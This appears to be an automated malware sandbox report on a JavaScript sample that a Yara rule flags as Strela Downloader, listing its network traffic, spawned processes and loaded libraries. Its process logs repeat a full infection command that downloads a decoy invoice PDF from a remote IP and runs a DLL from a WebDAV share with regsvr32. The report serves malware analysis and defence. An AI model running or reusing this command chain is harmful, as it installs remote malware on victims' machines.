Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:50074 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1683907945.0000019193D86000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1685339079.0000019193DAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1745160634.00000145C0A7A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1742499547.00000145C0A9B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1749632864.00000145C0A7A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1748264596.00000145C0A48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1749752070.00000145C0A9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1745160634.00000145C0A7A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1749632864.00000145C0A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/#
Source: net.exe, 00000006.00000003.1745160634.00000145C0A7A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1749632864.00000145C0A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/a
Source: net.exe, 00000006.00000002.1748264596.00000145C0A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000008.00000002.2973652071.000001DDAA811000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1745947625.000001DDAAA38000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1745947625.000001DDAAA38000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1745947625.000001DDAAA38000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1745947625.000001DDAAA6D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7328, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 183159621374924598.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7388:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y2askkic.a4u.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183159621374924598.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1760,i,17055857362209001177,5211015245744740405,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1760,i,17055857362209001177,5211015245744740405,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
